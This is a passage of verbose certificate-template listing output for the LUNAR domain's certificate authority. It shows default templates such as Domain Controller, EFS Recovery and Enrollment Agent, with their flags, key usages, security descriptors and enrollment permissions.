  540.   TemplatePropGeneralFlags = 10810 (67600)
  541.     CT_FLAG_EXPORTABLE_KEY -- 10 (16)
  542.     CT_FLAG_IS_CROSS_CA -- 800 (2048)
  543.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  545.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  547.     Allow Enroll    LUNAR\Domain Admins
  548.     Allow Enroll    LUNAR\Enterprise Admins
  549.     Allow Full Control    LUNAR\Domain Admins
  550.     Allow Full Control    LUNAR\Enterprise Admins
  551.     Allow Read    NT AUTHORITY\Authenticated Users
  554.   TemplatePropExtensions =
  555. 3 Extensions:
  557.   Extension[0]:
  558.     1.3.6.1.4.1.311.21.7: Flags = 0, Length = 2b
  559.     Certificate Template Information
  560.         Template=Cross Certification Authority(1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.25)
  561.         Major Version Number=105
  562.         Minor Version Number=0
  564.   Extension[1]:
  565.     2.5.29.15: Flags = 1(Critical), Length = 4
  566.     Key Usage
  567.         Digital Signature, Certificate Signing, Off-line CRL Signing, CRL Signing (86)
  569.   Extension[2]:
  570.     2.5.29.19: Flags = 1(Critical), Length = 5
  571.     Basic Constraints
  572.         Subject Type=CA
  573.         Path Length Constraint=None
  575.   TemplatePropValidityPeriod = 5 Years
  576.   TemplatePropRenewalPeriod = 6 Weeks
  578.   Template[8]:
  579.   TemplatePropCommonName = DirectoryEmailReplication
  580.   TemplatePropFriendlyName = Directory Email Replication
  581.   TemplatePropEKUs =
  582. 1 ObjectIds:
  583.     1.3.6.1.4.1.311.21.19 Directory Service Email Replication
  585.   TemplatePropCryptoProviders =
  586.     0: Microsoft RSA SChannel Cryptographic Provider
  588.   TemplatePropMajorRevision = 73 (115)
  589.   TemplatePropDescription = Directory e-mail replication
  590.   TemplatePropSchemaVersion = 2
  591.   TemplatePropMinorRevision = 0
  592.   TemplatePropRASignatureCount = 0
  593.   TemplatePropMinimumKeySize = 800 (2048)
  594.   TemplatePropOID =
  595.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.29 Directory Email Replication
  597.   TemplatePropSupersede =
  598.     0: DomainController
  600.   TemplatePropV1ApplicationPolicy =
  601. 1 ObjectIds:
  602.     1.3.6.1.4.1.311.21.19 Directory Service Email Replication
  604.   TemplatePropEnrollmentFlags = 29 (41)
  605.     CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- 1
  606.     CT_FLAG_PUBLISH_TO_DS -- 8
  607.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  609.   TemplatePropSubjectNameFlags = 9000000 (150994944)
  610.     CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID -- 1000000 (16777216)
  611.     CT_FLAG_SUBJECT_ALT_REQUIRE_DNS -- 8000000 (134217728)
  613.   TemplatePropPrivateKeyFlags = 0
  614.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  615.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  616.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  618.   TemplatePropGeneralFlags = 10060 (65632)
  619.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  620.     CT_FLAG_MACHINE_TYPE -- 40 (64)
  621.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  623.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-498)(OA;;RPCR;a05b8cc2-17bc-4802-a710-e7c15ab866a2;;S-1-5-21-3330634377-1326264276-632209373-498)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DD)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(OA;;RPWPCR;a05b8cc2-17bc-4802-a710-e7c15ab866a2;;DD)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;ED)(OA;;RPWPCR;a05b8cc2-17bc-4802-a710-e7c15ab866a2;;ED)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  625.     Allow Enroll    LUNAR\Enterprise Read-only Domain Controllers
  626.     Allow Auto-Enroll    LUNAR\Enterprise Read-only Domain Controllers
  627.     Allow Enroll    LUNAR\Domain Admins
  628.     Allow Enroll    LUNAR\Domain Controllers
  629.     Allow Enroll    LUNAR\Enterprise Admins
  630.     Allow Auto-Enroll    LUNAR\Domain Controllers
  631.     Allow Enroll    NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
  632.     Allow Auto-Enroll    NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
  633.     Allow Full Control    LUNAR\Domain Admins
  634.     Allow Full Control    LUNAR\Enterprise Admins
  635.     Allow Read    NT AUTHORITY\Authenticated Users
  638.   TemplatePropExtensions =
  639. 4 Extensions:
  641.   Extension[0]:
  642.     1.3.6.1.4.1.311.21.7: Flags = 0, Length = 2b
  643.     Certificate Template Information
  644.         Template=Directory Email Replication(1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.29)
  645.         Major Version Number=115
  646.         Minor Version Number=0
  648.   Extension[1]:
  649.     2.5.29.37: Flags = 0, Length = d
  650.     Enhanced Key Usage
  651.         Directory Service Email Replication (1.3.6.1.4.1.311.21.19)
  653.   Extension[2]:
  654.     2.5.29.15: Flags = 1(Critical), Length = 4
  655.     Key Usage
  656.         Digital Signature, Key Encipherment (a0)
  658.   Extension[3]:
  659.     1.3.6.1.4.1.311.21.10: Flags = 0, Length = f
  660.     Application Policies
  661.         [1]Application Certificate Policy:
  662.              Policy Identifier=Directory Service Email Replication
  664.   TemplatePropValidityPeriod = 1 Years
  665.   TemplatePropRenewalPeriod = 6 Weeks
  667.   Template[9]:
  668.   TemplatePropCommonName = DomainController
  669.   TemplatePropFriendlyName = Domain Controller
  670.   TemplatePropEKUs =
  671. 2 ObjectIds:
  672.     1.3.6.1.5.5.7.3.2 Client Authentication
  673.     1.3.6.1.5.5.7.3.1 Server Authentication
  675.   TemplatePropCryptoProviders =
  676.     0: Microsoft RSA SChannel Cryptographic Provider
  678.   TemplatePropMajorRevision = 4
  679.   TemplatePropDescription = Directory e-mail replication
  680.   TemplatePropSchemaVersion = 1
  681.   TemplatePropMinorRevision = 1
  682.   TemplatePropRASignatureCount = 0
  683.   TemplatePropMinimumKeySize = 800 (2048)
  684.   TemplatePropOID =
  685.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.15
  687.   TemplatePropEnrollmentFlags = 29 (41)
  688.     CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- 1
  689.     CT_FLAG_PUBLISH_TO_DS -- 8
  690.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  692.   TemplatePropSubjectNameFlags = 19000000 (419430400)
  693.     CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID -- 1000000 (16777216)
  694.     CT_FLAG_SUBJECT_ALT_REQUIRE_DNS -- 8000000 (134217728)
  695.     CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN -- 10000000 (268435456)
  697.   TemplatePropPrivateKeyFlags = 0
  698.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  699.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  700.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  702.   TemplatePropGeneralFlags = 1026c (66156)
  703.     CT_FLAG_ADD_OBJ_GUID -- 4
  704.     CT_FLAG_PUBLISH_TO_DS -- 8
  705.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  706.     CT_FLAG_MACHINE_TYPE -- 40 (64)
  707.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  708.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  710.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-498)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DD)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;ED)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  712.     Allow Enroll    LUNAR\Enterprise Read-only Domain Controllers
  713.     Allow Enroll    LUNAR\Domain Admins
  714.     Allow Enroll    LUNAR\Domain Controllers
  715.     Allow Enroll    LUNAR\Enterprise Admins
  716.     Allow Enroll    NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
  717.     Allow Full Control    LUNAR\Domain Admins
  718.     Allow Full Control    LUNAR\Enterprise Admins
  719.     Allow Read    NT AUTHORITY\Authenticated Users
  722.   TemplatePropExtensions =
  723. 3 Extensions:
  725.   Extension[0]:
  726.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 22
  727.     Certificate Template Name (Certificate Type)
  728.         DomainController
  730.   Extension[1]:
  731.     2.5.29.37: Flags = 0, Length = 16
  732.     Enhanced Key Usage
  733.         Client Authentication (1.3.6.1.5.5.7.3.2)
  734.         Server Authentication (1.3.6.1.5.5.7.3.1)
  736.   Extension[2]:
  737.     2.5.29.15: Flags = 1(Critical), Length = 4
  738.     Key Usage
  739.         Digital Signature, Key Encipherment (a0)
  741.   TemplatePropValidityPeriod = 1 Years
  742.   TemplatePropRenewalPeriod = 6 Weeks
  744.   Template[10]:
  745.   TemplatePropCommonName = DomainControllerAuthentication
  746.   TemplatePropFriendlyName = Domain Controller Authentication
  747.   TemplatePropEKUs =
  748. 3 ObjectIds:
  749.     1.3.6.1.5.5.7.3.2 Client Authentication
  750.     1.3.6.1.5.5.7.3.1 Server Authentication
  751.     1.3.6.1.4.1.311.20.2.2 Smart Card Logon
  753.   TemplatePropCryptoProviders =
  754.     0: Microsoft RSA SChannel Cryptographic Provider
  756.   TemplatePropMajorRevision = 6e (110)
  757.   TemplatePropDescription = Computer
  758.   TemplatePropSchemaVersion = 2
  759.   TemplatePropMinorRevision = 0
  760.   TemplatePropRASignatureCount = 0
  761.   TemplatePropMinimumKeySize = 800 (2048)
  762.   TemplatePropOID =
  763.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.28 Domain Controller Authentication
  765.   TemplatePropSupersede =
  766.     0: DomainController
  768.   TemplatePropV1ApplicationPolicy =
  769. 3 ObjectIds:
  770.     1.3.6.1.5.5.7.3.2 Client Authentication
  771.     1.3.6.1.5.5.7.3.1 Server Authentication
  772.     1.3.6.1.4.1.311.20.2.2 Smart Card Logon
  774.   TemplatePropEnrollmentFlags = 20 (32)
  775.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  777.   TemplatePropSubjectNameFlags = 8000000 (134217728)
  778.     CT_FLAG_SUBJECT_ALT_REQUIRE_DNS -- 8000000 (134217728)
  780.   TemplatePropPrivateKeyFlags = 0
  781.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  782.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  783.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  785.   TemplatePropGeneralFlags = 10060 (65632)
  786.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  787.     CT_FLAG_MACHINE_TYPE -- 40 (64)
  788.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  790.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-498)(OA;;RPCR;a05b8cc2-17bc-4802-a710-e7c15ab866a2;;S-1-5-21-3330634377-1326264276-632209373-498)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DD)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(OA;;RPWPCR;a05b8cc2-17bc-4802-a710-e7c15ab866a2;;DD)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;ED)(OA;;RPWPCR;a05b8cc2-17bc-4802-a710-e7c15ab866a2;;ED)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  792.     Allow Enroll    LUNAR\Enterprise Read-only Domain Controllers
  793.     Allow Auto-Enroll    LUNAR\Enterprise Read-only Domain Controllers
  794.     Allow Enroll    LUNAR\Domain Admins
  795.     Allow Enroll    LUNAR\Domain Controllers
  796.     Allow Enroll    LUNAR\Enterprise Admins
  797.     Allow Auto-Enroll    LUNAR\Domain Controllers
  798.     Allow Enroll    NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
  799.     Allow Auto-Enroll    NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
  800.     Allow Full Control    LUNAR\Domain Admins
  801.     Allow Full Control    LUNAR\Enterprise Admins
  802.     Allow Read    NT AUTHORITY\Authenticated Users
  805.   TemplatePropExtensions =
  806. 4 Extensions:
  808.   Extension[0]:
  809.     1.3.6.1.4.1.311.21.7: Flags = 0, Length = 2b
  810.     Certificate Template Information
  811.         Template=Domain Controller Authentication(1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.28)
  812.         Major Version Number=110
  813.         Minor Version Number=0
  815.   Extension[1]:
  816.     2.5.29.37: Flags = 0, Length = 22
  817.     Enhanced Key Usage
  818.         Client Authentication (1.3.6.1.5.5.7.3.2)
  819.         Server Authentication (1.3.6.1.5.5.7.3.1)
  820.         Smart Card Logon (1.3.6.1.4.1.311.20.2.2)
  822.   Extension[2]:
  823.     2.5.29.15: Flags = 1(Critical), Length = 4
  824.     Key Usage
  825.         Digital Signature, Key Encipherment (a0)
  827.   Extension[3]:
  828.     1.3.6.1.4.1.311.21.10: Flags = 0, Length = 28
  829.     Application Policies
  830.         [1]Application Certificate Policy:
  831.              Policy Identifier=Client Authentication
  832.         [2]Application Certificate Policy:
  833.              Policy Identifier=Server Authentication
  834.         [3]Application Certificate Policy:
  835.              Policy Identifier=Smart Card Logon
  837.   TemplatePropValidityPeriod = 1 Years
  838.   TemplatePropRenewalPeriod = 6 Weeks
  840.   Template[11]:
  841.   TemplatePropCommonName = EFSRecovery
  842.   TemplatePropFriendlyName = EFS Recovery Agent
  843.   TemplatePropEKUs =
  844. 1 ObjectIds:
  845.     1.3.6.1.4.1.311.10.3.4.1 File Recovery
  847.   TemplatePropCryptoProviders =
  848.     0: Microsoft Enhanced Cryptographic Provider v1.0
  849.     1: Microsoft Base Cryptographic Provider v1.0
  851.   TemplatePropMajorRevision = 6
  852.   TemplatePropDescription = User
  853.   TemplatePropSchemaVersion = 1
  854.   TemplatePropMinorRevision = 1
  855.   TemplatePropRASignatureCount = 0
  856.   TemplatePropMinimumKeySize = 800 (2048)
  857.   TemplatePropOID =
  858.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.8
  860.   TemplatePropEnrollmentFlags = 21 (33)
  861.     CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- 1
  862.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  864.   TemplatePropSubjectNameFlags = 82000000 (-2113929216)
  865.     CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 2000000 (33554432)
  866.     CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH -- 80000000 (-2147483648)
  868.   TemplatePropPrivateKeyFlags = 10 (16)
  869.     CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- 10 (16)
  870.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  871.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  872.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  874.   TemplatePropGeneralFlags = 10230 (66096)
  875.     CT_FLAG_EXPORTABLE_KEY -- 10 (16)
  876.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  877.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  878.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  880.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  882.     Allow Enroll    LUNAR\Domain Admins
  883.     Allow Enroll    LUNAR\Enterprise Admins
  884.     Allow Full Control    LUNAR\Domain Admins
  885.     Allow Full Control    LUNAR\Enterprise Admins
  886.     Allow Read    NT AUTHORITY\Authenticated Users
  889.   TemplatePropExtensions =
  890. 3 Extensions:
  892.   Extension[0]:
  893.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 18
  894.     Certificate Template Name (Certificate Type)
  895.         EFSRecovery
  897.   Extension[1]:
  898.     2.5.29.37: Flags = 0, Length = f
  899.     Enhanced Key Usage
  900.         File Recovery (1.3.6.1.4.1.311.10.3.4.1)
  902.   Extension[2]:
  903.     2.5.29.15: Flags = 1(Critical), Length = 4
  904.     Key Usage
  905.         Key Encipherment (20)
  907.   TemplatePropValidityPeriod = 5 Years
  908.   TemplatePropRenewalPeriod = 6 Weeks
  910.   Template[12]:
  911.   TemplatePropCommonName = EnrollmentAgent
  912.   TemplatePropFriendlyName = Enrollment Agent
  913.   TemplatePropEKUs =
  914. 1 ObjectIds:
  915.     1.3.6.1.4.1.311.20.2.1 Certificate Request Agent
  917.   TemplatePropCryptoProviders =
  918.     0: Microsoft Enhanced Cryptographic Provider v1.0
  919.     1: Microsoft Base Cryptographic Provider v1.0
  920.     2: Microsoft Base DSS Cryptographic Provider
  922.   TemplatePropMajorRevision = 4
  923.   TemplatePropDescription = User
  924.   TemplatePropSchemaVersion = 1
  925.   TemplatePropMinorRevision = 1
  926.   TemplatePropRASignatureCount = 0
  927.   TemplatePropMinimumKeySize = 800 (2048)
  928.   TemplatePropOID =
  929.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.11
  931.   TemplatePropEnrollmentFlags = 20 (32)
  932.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  934.   TemplatePropSubjectNameFlags = 82000000 (-2113929216)
  935.     CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 2000000 (33554432)
  936.     CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH -- 80000000 (-2147483648)
  938.   TemplatePropPrivateKeyFlags = 0
  939.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  940.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  941.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  943.   TemplatePropGeneralFlags = 10220 (66080)
  944.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  945.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  946.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  948.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  950.     Allow Enroll    LUNAR\Domain Admins
  951.     Allow Enroll    LUNAR\Enterprise Admins
  952.     Allow Full Control    LUNAR\Domain Admins
  953.     Allow Full Control    LUNAR\Enterprise Admins
  954.     Allow Read    NT AUTHORITY\Authenticated Users
  957.   TemplatePropExtensions =
  958. 3 Extensions:
  960.   Extension[0]:
  961.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 20
  962.     Certificate Template Name (Certificate Type)
  963.         EnrollmentAgent
  965.   Extension[1]:
  966.     2.5.29.37: Flags = 0, Length = e
  967.     Enhanced Key Usage
  968.         Certificate Request Agent (1.3.6.1.4.1.311.20.2.1)
  970.   Extension[2]:
  971.     2.5.29.15: Flags = 1(Critical), Length = 4
  972.     Key Usage
  973.         Digital Signature (80)
  975.   TemplatePropValidityPeriod = 2 Years
  976.   TemplatePropRenewalPeriod = 6 Weeks
  978.   Template[13]:
  979.   TemplatePropCommonName = MachineEnrollmentAgent
  980.   TemplatePropFriendlyName = Enrollment Agent (Computer)
  981.   TemplatePropEKUs =
  982. 1 ObjectIds:
  983.     1.3.6.1.4.1.311.20.2.1 Certificate Request Agent
  985.   TemplatePropCryptoProviders =
  986.     0: Microsoft Enhanced Cryptographic Provider v1.0
  987.     1: Microsoft Base Cryptographic Provider v1.0
  988.     2: Microsoft Base DSS Cryptographic Provider
  990.   TemplatePropMajorRevision = 5
  991.   TemplatePropDescription = Computer
  992.   TemplatePropSchemaVersion = 1
  993.   TemplatePropMinorRevision = 1
  994.   TemplatePropRASignatureCount = 0
  995.   TemplatePropMinimumKeySize = 800 (2048)
  996.   TemplatePropOID =
  997.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.13
  999.   TemplatePropEnrollmentFlags = 20 (32)
  1000.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  1002.   TemplatePropSubjectNameFlags = 18000000 (402653184)
  1003.     CT_FLAG_SUBJECT_ALT_REQUIRE_DNS -- 8000000 (134217728)
  1004.     CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN -- 10000000 (268435456)
  1006.   TemplatePropPrivateKeyFlags = 0
  1007.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  1008.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  1009.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  1011.   TemplatePropGeneralFlags = 10260 (66144)
  1012.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  1013.     CT_FLAG_MACHINE_TYPE -- 40 (64)
  1014.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  1015.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  1017.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  1019.     Allow Enroll    LUNAR\Domain Admins
  1020.     Allow Enroll    LUNAR\Enterprise Admins
  1021.     Allow Full Control    LUNAR\Domain Admins
  1022.     Allow Full Control    LUNAR\Enterprise Admins
  1023.     Allow Read    NT AUTHORITY\Authenticated Users
  1026.   TemplatePropExtensions =
  1027. 3 Extensions:
  1029.   Extension[0]:
  1030.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 2e
  1031.     Certificate Template Name (Certificate Type)
  1032.         MachineEnrollmentAgent
  1034.   Extension[1]:
  1035.     2.5.29.37: Flags = 0, Length = e
  1036.     Enhanced Key Usage
  1037.         Certificate Request Agent (1.3.6.1.4.1.311.20.2.1)
  1039.   Extension[2]:
  1040.     2.5.29.15: Flags = 1(Critical), Length = 4
  1041.     Key Usage
  1042.         Digital Signature (80)
  1044.   TemplatePropValidityPeriod = 2 Years
  1045.   TemplatePropRenewalPeriod = 6 Weeks
  1047.   Template[14]:
  1048.   TemplatePropCommonName = EnrollmentAgentOffline
  1049.   TemplatePropFriendlyName = Exchange Enrollment Agent (Offline request)
  1050.   TemplatePropEKUs =
  1051. 1 ObjectIds:
  1052.     1.3.6.1.4.1.311.20.2.1 Certificate Request Agent
  1054.   TemplatePropCryptoProviders =
  1055.     0: Microsoft Enhanced Cryptographic Provider v1.0
  1056.     1: Microsoft Base Cryptographic Provider v1.0
  1057.     2: Microsoft Base DSS Cryptographic Provider
  1059.   TemplatePropMajorRevision = 4
  1060.   TemplatePropDescription = User
  1061.   TemplatePropSchemaVersion = 1
  1062.   TemplatePropMinorRevision = 1
  1063.   TemplatePropRASignatureCount = 0
  1064.   TemplatePropMinimumKeySize = 800 (2048)
  1065.   TemplatePropOID =
  1066.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.12
  1068.   TemplatePropEnrollmentFlags = 0
  1070.   TemplatePropSubjectNameFlags = 1
  1071.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  1073.   TemplatePropPrivateKeyFlags = 0
  1074.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  1075.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  1076.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  1078.   TemplatePropGeneralFlags = 10201 (66049)
  1079.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  1080.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  1081.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  1083.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  1085.     Allow Enroll    LUNAR\Domain Admins
  1086.     Allow Enroll    LUNAR\Enterprise Admins
  1087.     Allow Full Control    LUNAR\Domain Admins
  1088.     Allow Full Control    LUNAR\Enterprise Admins
  1089.     Allow Read    NT AUTHORITY\Authenticated Users
  1092.   TemplatePropExtensions =
  1093. 3 Extensions:
  1095.   Extension[0]:
  1096.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 2e
  1097.     Certificate Template Name (Certificate Type)
  1098.         EnrollmentAgentOffline
  1100.   Extension[1]:
  1101.     2.5.29.37: Flags = 0, Length = e
  1102.     Enhanced Key Usage
  1103.         Certificate Request Agent (1.3.6.1.4.1.311.20.2.1)
  1105.   Extension[2]:
  1106.     2.5.29.15: Flags = 1(Critical), Length = 4
  1107.     Key Usage
  1108.         Digital Signature (80)
  1110.   TemplatePropValidityPeriod = 2 Years
  1111.   TemplatePropRenewalPeriod = 6 Weeks
  1113.   Template[15]:
  1114.   TemplatePropCommonName = ExchangeUserSignature
  1115.   TemplatePropFriendlyName = Exchange Signature Only
  1116.   TemplatePropEKUs =
  1117. 1 ObjectIds:
